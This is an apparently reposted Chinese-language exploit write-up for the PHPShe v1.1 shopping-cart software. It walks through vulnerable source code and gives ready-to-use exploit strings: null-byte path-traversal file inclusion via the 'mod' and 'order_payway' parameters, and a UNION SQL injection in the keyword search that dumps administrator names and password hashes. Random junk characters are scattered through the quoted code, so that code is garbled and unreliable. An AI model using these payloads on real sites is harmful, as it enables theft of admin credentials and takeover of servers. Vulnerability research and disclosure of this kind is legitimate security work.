phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
/* Phpshe v1.1 Vulnerability
/* ========================
/* By: : Kn1f3
/* E-Mail : 681796@qq.com
& G+ \( h- ~9 n; f/*******************************************************/
0×00 整体大概参数传输

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' P5 K: z5 ^! F1 l' ^//common.php
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
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else {
: I/ x1 r. ^% h9 Q: G; F  o9 _!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
! O3 u7 I- ?' F% \!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
% R' b! I) m7 ksession_start();
" |+ T, X. I  _2 u& O7 W3 m!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

% O+ m% ~, H/ }; @3 H0×01 包含漏洞
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% b6 @4 C) ~) B" {$ i
4 F3 _0 z& k2 H$ B: h! K//首页文件
/ C7 U" J1 @& L4 D# m<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
/ k- R1 i9 B2 G) i+ t; B1 |" Qinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
1 ?. ^1 o% |* Epe_result();
?>
//common 文件 第15行开始
& w. W* z4 T  x5 l* }, a! N' q+ Lurl路由配置
+ _2 W1 @) Z: q! K+ C& B% a$module = $mod = $act = 'index';
2 q( A; B4 R, X, v7 S; O* K3 z6 T$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
( I  f" K) [0 q$ q  L2 x) |) ?$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
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" \  \' V  B( V8 [  [ 0×02 搜索注入

<code id="code2">

//product.php文件
  d1 u$ s: W4 lcase 'list':
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
8 P7 N, y: N. c  u' f$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
0 \0 k4 W3 e- e! t' h' I0 Q1 aif ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
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$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
. W' h0 T) N) @* j2 R3 Y( u; dif ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
; x% t1 k1 O) ~5 p0 Welse {
* y& X1 f; U+ `' i2 J7 w2 |# A$sqlwhere .= " order by `product_id` desc";
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$ t% ?$ I+ {! D* W$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
% m9 \" c" U: F' p$ [/ X$product_hotlist = product_hotlist();
# w" C7 k/ k. k, o//当前路径
$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
# ?3 @! d/ A0 b. D! j: f+ winclude(pe_tpl('product_list.html'));
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
/ w7 {$ H* _; I& C: j{
//处理条件语句
- t7 b8 O. x+ f2 i2 k# Z$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
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5 \1 Z9 M- \5 F1 J$ Q! T//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
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</code>
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0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

+ w, z/ K4 m& }5 c% `, K: hforeach($cache_payway as $k => $v) {

* m3 r; N/ w1 o$ o: J+ ]$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

% v( }+ t8 P& Z. }) n# l: K% g) @+ jif ($k == 'bank') {

0 b% Y9 w" p3 f8 ?8 i6 r$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

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}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

/ t) ^, u4 ]* `$ c' v!$order['order_id'] && pe_error('订单号错误...');

, C4 v% o2 X  p7 Q0 Wif (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";
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}

echo '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

0 }+ W# r! X; K4 c( {- O}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

5 o+ e5 v# z1 Y" s# l; Hpe_error('支付错误...');

}

}

2 e9 d" a9 |' ?! I6 x& Z7 z- Z3 j$seo = pe_seo('选择支付方式');

/ l- o: r+ k5 Hinclude(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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